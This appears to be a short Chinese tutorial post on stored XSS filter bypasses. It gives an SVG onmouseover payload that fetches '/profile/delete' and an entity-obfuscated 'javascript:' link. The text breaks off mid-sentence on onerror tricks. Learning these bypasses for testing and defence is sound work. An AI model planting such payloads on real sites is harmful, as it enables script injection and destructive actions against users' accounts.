存储型 XSS 的若干绕过方法

2025-08-22 05:03 39 Xss介绍

HTML 过滤绕过

过滤 <script> 标签

可以尝试使用 <svg> + onload

<!-- Most WAFs miss SVG event handlers -->
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <circle cx="50" cy="50" r="40" fill="red" onmouseover="fetch('/profile/delete')"/>
</svg>

过滤器通常允许用于图形的 SVG,但有时会忘记验证事件处理器如 onmouseover

javascript:被过滤

可以尝试使用 &colon; 小技巧:

<!-- Bypass colon filters in href/src -->  
<a href="java&Tab;script&colon;alert(1)">Click Me (Works in Chrome)</a>

真实案例:某CMS系统允许链接中使用 &Tab;(URL编码的制表符)和 &colon;(HTML实体表示冒号)。

onerror 被过滤

大多数 WAF 会阻止 onerror / onload 但会经常忽略...